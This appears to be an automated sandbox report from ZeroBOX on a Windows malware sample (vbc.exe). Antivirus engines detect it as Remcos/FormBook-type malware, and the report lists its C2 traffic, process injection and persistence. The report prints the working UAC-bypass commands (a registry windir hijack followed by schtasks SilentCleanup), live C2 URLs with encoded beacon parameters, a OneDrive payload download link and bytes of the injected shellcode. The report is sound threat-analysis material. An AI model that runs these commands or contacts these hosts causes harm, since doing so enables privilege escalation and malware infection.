Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	Aug. 27, 2021, 3:28 p.m.	Aug. 27, 2021, 4:05 p.m.

Size	694.5KB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`47fa27443cb1abe987ca9f653754b6d0`
SHA256	`a9010421ea97c10ab6147e6c5077fab296030b13c26b6645502b6165e2e9d4db`
CRC32	`7FE1E7F1`
ssdeep	`12288:OlaDZ6+Eis2xF7S3/6nYpH5hQVsqjGhH/LGE9jhbO:OsD8GxF4FpHPYj+HTGEVVO`
Yara	PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library IsPE32 - (no description)

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
1016
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  2840
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    1436
    - reg.exe reg delete hkcu\Environment /v windir /f
      2420
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      1456
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      2248
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  872
  - reg.exe reg delete hkcu\Environment /v windir /f
    2056

Name	Response	Post-Analysis Lookup
www.krsfpjuoekcd.info	A 34.254.1.203	34.254.1.203
www.listenstech.com	CNAME HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com A 3.223.115.185	3.223.115.185
www.stathotshots.com	A 34.98.99.30 CNAME stathotshots.com	34.98.99.30
www.castro-online.run	A 172.67.221.31 A 104.21.53.248	104.21.53.248
www.tehridam.com	A 184.168.131.241 CNAME tehridam.com	184.168.131.241
www.gyiblrjd.icu	A 47.91.170.222	47.91.170.222
zaxuiw.bn.files.1drv.com	CNAME odc-bn-files-geo.onedrive.akadns.net CNAME bn-files.fe.1drv.com CNAME odc-bn-files-brs.onedrive.akadns.net A 13.107.42.12 CNAME bn-files.ha.1drv.com.l-0003.dc-msedge.net.l-0003.l-msedge.net CNAME l-0003.l-msedge.net	13.107.42.12
www.polaritelibrairie.com	CNAME polaritelibrairie.com A 34.102.136.180	34.102.136.180
www.enovexcorp.com	A 172.67.134.229 A 104.21.6.147	172.67.134.229
onedrive.live.com	CNAME odc-web-geo.onedrive.akadns.net CNAME l-0004.l-msedge.net A 13.107.42.13 CNAME odwebpl.trafficmanager.net.l-0004.dc-msedge.net.l-0004.l-msedge.net CNAME odc-web-brs.onedrive.akadns.net	13.107.42.13

IP Address	Status	Action
13.107.42.12	Active	Moloch
13.107.42.13	Active	Moloch
164.124.101.2	Active	Moloch
172.67.134.229	Active	Moloch
172.67.221.31	Active	Moloch
184.168.131.241	Active	Moloch
3.223.115.185	Active	Moloch
34.102.136.180	Active	Moloch
34.254.1.203	Active	Moloch
34.98.99.30	Active	Moloch
47.91.170.222	Active	Moloch
194.61.0.8	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49203 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49202 -> 13.107.42.12:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49201 -> 13.107.42.13:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
UDP 192.168.56.101:56977 -> 164.124.101.2:53	2026888	ET INFO DNS Query for Suspicious .icu Domain	Potentially Bad Traffic
TCP 192.168.56.101:49233 -> 172.67.221.31:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49233 -> 172.67.221.31:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49233 -> 172.67.221.31:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49231 -> 172.67.134.229:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49231 -> 172.67.134.229:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49231 -> 172.67.134.229:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49222 -> 34.98.99.30:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49222 -> 34.98.99.30:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49222 -> 34.98.99.30:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 184.168.131.241:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 184.168.131.241:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 184.168.131.241:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49235 -> 3.223.115.185:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49235 -> 3.223.115.185:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49235 -> 3.223.115.185:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49229 -> 34.254.1.203:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49229 -> 34.254.1.203:80	2031449	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.101:49229 -> 34.254.1.203:80	2031453	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.101:49203 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.101:49202 13.107.42.12:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	C=US, ST=WA, L=Redmond, O=Microsoft Corporation, OU=Microsoft Corporation, CN=storage.live.com	ec:e5:02:98:e6:c9:9a:12:fc:c0:4d:19:cd:2b:0c:ae:d0:c0:37:8e
TLSv1 192.168.56.101:49201 13.107.42.13:443	C=US, O=Microsoft Corporation, CN=Microsoft RSA TLS CA 01	CN=onedrive.com	50:2f:33:10:92:ac:27:7b:17:be:82:68:3b:e2:29:ad:97:41:b7:bb

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Aug. 27, 2021, 4:03 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (22 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: /min C:\Users\Public\UKO.bat console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: reg console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM " console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: schtasks console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: exit console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: The system was unable to find the specified registry key or value. console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: ERROR: console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: The system cannot find the path specified. console_handle: 0x0000000b	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: C:\Users\Public> console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: start console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: /min reg delete hkcu\Environment /v windir /f console_handle: 0x00000007	1	1
WriteConsoleW Aug. 27, 2021, 4:03 p.m.	buffer: The operation completed successfully. console_handle: 0x00000007	1	1

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	CODE
section	DATA
section	BSS

The executable uses a known packer (1 event)

packer

BobSoft Mini Delphi -> BoB / BobSoft

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (7 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.tehridam.com/ecuu/?iRIxln_=52vxKUookbImOzTI7E+jd1wlXpyw0GfihJo0VkeqObbGxcjgEHmk7kL8PM63ES7BEXBsCGUk&Ixl0i=Xj0TQ4BXAfy
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.stathotshots.com/ecuu/?iRIxln_=+WjnV65xNgr8mdfi2OB5TPoJ/nBIB301k5X/uFoN60o83tEWRpQDVejEJi6ZuHqfRkIXe4Q7&Ixl0i=Xj0TQ4BXAfy
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.polaritelibrairie.com/ecuu/?iRIxln_=9V37CvjOwlD+G2cZgvNSMh0FDLzSpLIOzW7Ku/j/E3/FrLtCEhUpqK2rSLRqtlK3cTc9cFsZ&Ixl0i=Xj0TQ4BXAfy
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.krsfpjuoekcd.info/ecuu/?iRIxln_=LU0+1QwVd10+6BiuHNRq5ZogeeHr3Gc/xefg/mY8SYFPV5dsCw2+/zWBWjZ/RXmecVxmw1+U&Ixl0i=Xj0TQ4BXAfy
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.enovexcorp.com/ecuu/?iRIxln_=bpzCTk/qdCIwipMedq6J/wQgKeK6uVGVcgTnCs1o93acAvo7q59x5CsOod7vCsrr9woKgHPq&Ixl0i=Xj0TQ4BXAfy
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.castro-online.run/ecuu/?iRIxln_=d5lYEYpKw3U/V2Wa/g5CCF1s2ENwrat2UG5ZDi9BawppgyBx4RRR6Es6l3SZtkKIjt1O6P3x&Ixl0i=Xj0TQ4BXAfy
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.listenstech.com/ecuu/?iRIxln_=kZQ2xSRRrPRSBp5jFhnjX1FSIADBjElgtC+7SfW5nxGr1YavPckfOpnPtRZoEBHlAahsqtq3&Ixl0i=Xj0TQ4BXAfy

Performs some HTTP requests (17 events)

request	POST http://www.tehridam.com/ecuu/
request	GET http://www.tehridam.com/ecuu/?iRIxln_=52vxKUookbImOzTI7E+jd1wlXpyw0GfihJo0VkeqObbGxcjgEHmk7kL8PM63ES7BEXBsCGUk&Ixl0i=Xj0TQ4BXAfy
request	POST http://www.stathotshots.com/ecuu/
request	GET http://www.stathotshots.com/ecuu/?iRIxln_=+WjnV65xNgr8mdfi2OB5TPoJ/nBIB301k5X/uFoN60o83tEWRpQDVejEJi6ZuHqfRkIXe4Q7&Ixl0i=Xj0TQ4BXAfy
request	POST http://www.polaritelibrairie.com/ecuu/
request	GET http://www.polaritelibrairie.com/ecuu/?iRIxln_=9V37CvjOwlD+G2cZgvNSMh0FDLzSpLIOzW7Ku/j/E3/FrLtCEhUpqK2rSLRqtlK3cTc9cFsZ&Ixl0i=Xj0TQ4BXAfy
request	POST http://www.krsfpjuoekcd.info/ecuu/
request	GET http://www.krsfpjuoekcd.info/ecuu/?iRIxln_=LU0+1QwVd10+6BiuHNRq5ZogeeHr3Gc/xefg/mY8SYFPV5dsCw2+/zWBWjZ/RXmecVxmw1+U&Ixl0i=Xj0TQ4BXAfy
request	POST http://www.enovexcorp.com/ecuu/
request	GET http://www.enovexcorp.com/ecuu/?iRIxln_=bpzCTk/qdCIwipMedq6J/wQgKeK6uVGVcgTnCs1o93acAvo7q59x5CsOod7vCsrr9woKgHPq&Ixl0i=Xj0TQ4BXAfy
request	POST http://www.castro-online.run/ecuu/
request	GET http://www.castro-online.run/ecuu/?iRIxln_=d5lYEYpKw3U/V2Wa/g5CCF1s2ENwrat2UG5ZDi9BawppgyBx4RRR6Es6l3SZtkKIjt1O6P3x&Ixl0i=Xj0TQ4BXAfy
request	POST http://www.listenstech.com/ecuu/
request	GET http://www.listenstech.com/ecuu/?iRIxln_=kZQ2xSRRrPRSBp5jFhnjX1FSIADBjElgtC+7SfW5nxGr1YavPckfOpnPtRZoEBHlAahsqtq3&Ixl0i=Xj0TQ4BXAfy
request	GET https://onedrive.live.com/download?cid=D020578D515FAC65&resid=D020578D515FAC65%21104&authkey=AMOx_K_UwyxYKo0
request	GET https://zaxuiw.bn.files.1drv.com/y4m1dOkFsGdv3_-vkq6uf-FuEQulLm5iYLjC3IAeR48S35ZBNv-16V26ZiLJUxqd6lnWtUqaBGD7PzxmSIu64bV3anJq8QtH2aGM6taCMrBo-tRYOZWwoBeEi9Ms7H_rdBYMZPyE6vnif-XyMcf80UxWX3R6c5sRMn2UrqqfeZBejBG2pdPA6W31zw4kW1lUYVAO-Gsf-3iYbj2Mi-vOokf2Q/Zpxtgzabmpztljjjvtopqzqjfwgartu?download&psid=1
request	GET https://zaxuiw.bn.files.1drv.com/y4mczKrLDnsQEz11TssVLlJ_EmHP8NPIFvgyL9dMyO-_CRvwOF5ixEQUv5HOlguGr7JySkb4RSPdx0TUbwZidmY4JHXL6BFGpm62eW74qM9ev7lC2Y7_cT_dNov11bYggFneIywQyWK4S0kFV0qYaVxVtlb0ZGhKDczVwssjyv1iPbs9BtMQGvpyBz8fRWjVDzs9EupG4eoQcaRta3snZLbjQ/Zpxtgzabmpztljjjvtopqzqjfwgartu?download&psid=1

Sends data using the HTTP POST Method (7 events)

request	POST http://www.tehridam.com/ecuu/
request	POST http://www.stathotshots.com/ecuu/
request	POST http://www.polaritelibrairie.com/ecuu/
request	POST http://www.krsfpjuoekcd.info/ecuu/
request	POST http://www.enovexcorp.com/ecuu/
request	POST http://www.castro-online.run/ecuu/
request	POST http://www.listenstech.com/ecuu/

Allocates read-write-execute memory (usually to unpack itself) (3 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 1016 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cc2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 1016 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10410000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

Creates executable files on the filesystem (5 events)

file	C:\Users\Public\KDECO.bat
file	C:\Users\Public\UKO.bat
file	C:\Users\Public\Libraries\Zpxtgza\Zpxtgza.exe
file	C:\Users\Public\Trast.bat
file	C:\Users\Public\nest.bat

Creates a suspicious process (2 events)

cmdline	C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 1016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 81920 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x02031000 process_handle: 0xffffffff	1	0	0

Yara rule detected in process memory (50 out of 60 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Create a windows service	rule	Create_Service
description	Record Audio	rule	Sniff_Audio
description	Escalate priviledges	rule	Escalate_priviledges
description	Run a KeyLogger	rule	KeyLogger
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	Communications over HTTP	rule	Network_HTTP
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Take ScreenShot	rule	ScreenShot
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Steal credential	rule	local_credential_Steal
description	File Downloader	rule	Network_Downloader
description	Communications over P2P network	rule	Network_P2P_Win
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread

Uses Windows utilities for basic Windows functionality (3 events)

cmdline	schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
cmdline	reg delete hkcu\Environment /v windir /f
cmdline	reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: da7b8beaa95ffd1be369c07e68e9a9cf9c919e43

Communicates with host for which no DNS query was performed (1 event)

host

194.61.0.8

Allocates execute permission to another process indicative of possible code injection (3 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 2760 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10410000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000053c	1
NtAllocateVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000053c	1
NtAllocateVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000053c	1

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Zpxtgza

reg_value

C:\Users\Public\Libraries\azgtxpZ.url

Deletes executed files from disk (1 event)

file	C:\Users\Public\nest.bat

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1016 created a remote thread in non-child process 2760
CreateRemoteThread Aug. 27, 2021, 3:28 p.m.	thread_identifier: 668 process_identifier: 2760 function_address: 0x00100000 flags: 0 stack_size: 0 parameter: 0x000f0000 process_handle: 0x0000053c	1	1348	0

Manipulates memory of a non-child process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1016 manipulating memory of non-child process 2760
NtAllocateVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 2760 region_size: 167936 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x10410000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000053c	1	0	0
NtAllocateVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000f0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000053c	1	0	0
NtAllocateVirtualMemory Aug. 27, 2021, 3:28 p.m.	process_identifier: 2760 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000053c	1	0	0

Potential code injection by writing to the memory of another process (3 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1016 injected into non-child 2760
WriteProcessMemory Aug. 27, 2021, 3:28 p.m.	buffer: A@ÑB base_address: 0x000f0000 process_identifier: 2760 process_handle: 0x0000053c	1	1	0
WriteProcessMemory Aug. 27, 2021, 3:28 p.m.	buffer: UìÄøEUøPUü1ÀPjÿuøÿUüYY]Â@UìÄÔSVWúðEÔ\Daèñÿÿ3ÀUh%Madÿ0d ÆEÿG<ÇEô»Ãj@h0Eô@PPEô@4ÃPèÄÿÿEð}ðt0hjEðPè»ÿÿj@h0Eô@PPEô@4ÃPVèÿÿEð}ðuû0vEÔPÏUðÆèEÔÀt7EèUàUìUøRUØRPEðPVèÿÿjjMèºðKaÆè_ýÿÿÀtÆEÿ3ÀZYYdh,MaEÔ\DaèÄÿÿÃ base_address: 0x00100000 process_identifier: 2760 process_handle: 0x0000053c	1	1	0

Network activity contains more than one unique useragent (2 events)

process	vbc.exe				useragent	zipo
process	vbc.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2840 resumed a thread in remote process 1436
Process injection	Process 872 resumed a thread in remote process 2056
NtResumeThread Aug. 27, 2021, 4:03 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 1436	1	0	0
NtResumeThread Aug. 27, 2021, 4:03 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2056	1	0	0

Uses Sysinternals tools in order to add additional command line functionality (1 event)

cmdline

C:\Windows\System32\mobsync.exe

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

47.91.170.222:80

File has been identified by 39 AntiVirus engines on VirusTotal as malicious (39 events)

Bkav	W32.AIDetect.malware2
Elastic	malicious (high confidence)
DrWeb	Trojan.Siggen14.65370
MicroWorld-eScan	Gen:Variant.Zusy.398815
FireEye	Gen:Variant.Zusy.398815
ALYac	Gen:Variant.Zusy.398815
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
Alibaba	Backdoor:Win32/Remcos.1ea32a65
BitDefenderTheta	Gen:NN.ZelphiF.34110.RGW@amy5IIni
Cyren	W32/Delf_Troj.BT.gen!Eldorado
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of Win32/Injector.EPZR
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Backdoor.Win32.Remcos.gen
BitDefender	Gen:Variant.Zusy.398815
Avast	FileRepMalware
Ad-Aware	Gen:Variant.Zusy.398815
Emsisoft	Gen:Variant.Zusy.398815 (B)
McAfee-GW-Edition	BehavesLike.Win32.DealPly.jc
Sophos	Mal/Generic-S
Ikarus	Trojan.Inject
eGambit	Unsafe.AI_Score_99%
MAX	malware (ai score=84)
Kingsoft	Win32.Heur.KVM007.a.(kcloud)
Gridinsoft	Trojan.Win32.Downloader.oa
Microsoft	Trojan:Win32/DelfInject.VAM!MTB
ZoneAlarm	HEUR:Backdoor.Win32.Remcos.gen
GData	Gen:Variant.Zusy.398815
McAfee	Fareit-FDBI!47FA27443CB1
Malwarebytes	Spyware.PasswordStealer
Tencent	Win32.Backdoor.Remcos.Pgdm
SentinelOne	Static AI - Suspicious PE
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	W32/GenKryptik.FIVH!tr
Webroot	W32.Malware.Gen
AVG	FileRepMalware
Panda	Trj/GdSda.A

vbc.exe

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